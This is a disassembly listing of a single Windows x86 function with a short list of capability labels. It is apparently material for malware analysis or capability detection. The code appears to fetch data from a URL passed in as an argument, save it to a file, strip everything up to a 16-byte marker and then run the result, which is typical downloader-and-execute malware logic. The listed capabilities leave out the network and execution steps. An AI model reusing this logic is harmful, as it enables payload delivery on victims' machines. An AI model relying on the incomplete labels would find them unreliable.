Function at 0x401dc4
Capabilities:
Get common file path
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
push edi
push 7
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x3b]
mov byte [ebp - 0x3c], bl
push 7
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x5b]
mov byte [ebp - 0x5c], bl
rep stosd dword es:[edi], eax
push ebx
push ebx
stosw word es:[edi], ax
push ebx
push ebx
push str.Testing
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x18], ebx
mov byte [ebp - 1], bl
stosb byte es:[edi], al
call dword [0x40da00]
push ebx
push connect
push ebx
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x1c], eax
push eax
call dword [0x40da30]
mov esi, eax
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x14], esi
push eax
push 0x13
push esi
call dword [0x40da50]
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x3c]
push eax
push 0x13
push esi
call dword [0x40da50]
test eax, eax
je 0x402063
push 3
lea eax, [ebp - 0x3c]
push 0x40a990
push eax
call fcn.00404610
add esp, 0xc
test eax, eax
jne 0x40205e
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x5c]
push eax
push 5
push esi
call dword [0x40da50]
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x5c]
push eax
push 5
push esi
call dword [0x40da50]
test eax, eax
je 0x40205e
lea eax, [ebp - 0x5c]
push eax
call fcn.00401d6c
pop ecx
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push 0x80
push 2
push ebx
mov esi, 0xc0000000
push 1
push esi
push dword [ebp + 0xc]
call edi
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x40205e
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 1]
push 1
push eax
push dword [ebp - 0x14]
call dword [0x40da40]
test eax, eax
je 0x401efe
cmp dword [ebp - 0xc], ebx
je 0x401efe
lea eax, [ebp - 0x18]
push ebx
push eax
lea eax, [ebp - 1]
push 1
push eax
push dword [ebp - 0x10]
call dword [0x40d9fc]
inc dword [ebp - 8]
jmp 0x401ec9
push dword [ebp - 0x14]
call dword [0x40d9e4]
push dword [ebp - 0x1c]
call dword [0x40d9e4]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
call dword [0x40d9f0]
push 0x40a99c
push dword [ebp + 8]
call fcn.00404590
pop ecx
test eax, eax
pop ecx
je 0x402053
push ebx
push 0x80
push 3
push ebx
push 1
push esi
push dword [ebp + 0xc]
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x40205e
push dword [ebp - 8]
call fcn.004044cf
push dword [ebp - 8]
mov edi, eax
push ebx
push edi
call fcn.00404180
add esp, 0x10
lea eax, [ebp - 0xc]
push ebx
push eax
push dword [ebp - 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40205e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
cmp dword [ebp - 8], ebx
jbe 0x402006
cmp byte [esi + edi], 0xb1
jne 0x402000
cmp byte [esi + edi + 1], 0xc5
jne 0x402000
cmp byte [esi + edi + 2], 0x11
jne 0x402000
cmp byte [esi + edi + 3], 0x67
jne 0x402000
cmp byte [esi + edi + 4], 0x88
jne 0x402000
cmp byte [esi + edi + 5], 9
jne 0x402000
cmp byte [esi + edi + 6], 0x12
jne 0x402000
cmp byte [esi + edi + 7], 0x13
jne 0x402000
cmp byte [esi + edi + 8], 0xa6
jne 0x402000
cmp byte [esi + edi + 9], 0xc2
jne 0x402000
cmp byte [esi + edi + 0xa], 0x3c
jne 0x402000
cmp byte [esi + edi + 0xb], 0x15
jne 0x402000
cmp byte [esi + edi + 0xc], 0x98
jne 0x402000
cmp byte [esi + edi + 0xd], 9
jne 0x402000
cmp byte [esi + edi + 0xe], 0x91
jne 0x402000
cmp byte [esi + edi + 0xf], 0xd4
je 0x402006
inc esi
cmp esi, dword [ebp - 8]
jb 0x401f91
push ebx
push 0x80
push 2
push ebx
push 1
push 0xc0000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x40205e
lea eax, [ebp - 0x18]
push ebx
push eax
mov eax, dword [ebp - 8]
sub eax, esi
sub eax, 0x10
push eax
lea eax, [esi + edi + 0x10]
push eax
push dword [ebp - 0x10]
call dword [0x40d9fc]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.00404466
pop ecx
push 5
push dword [ebp + 0xc]
call dword [0x40d9f4]
pop edi
pop esi
pop ebx
leave
ret
push esi
call dword [0x40d9e4]
push dword [ebp - 0x1c]
call dword [0x40d9e4]
push ebx
call fcn.00404391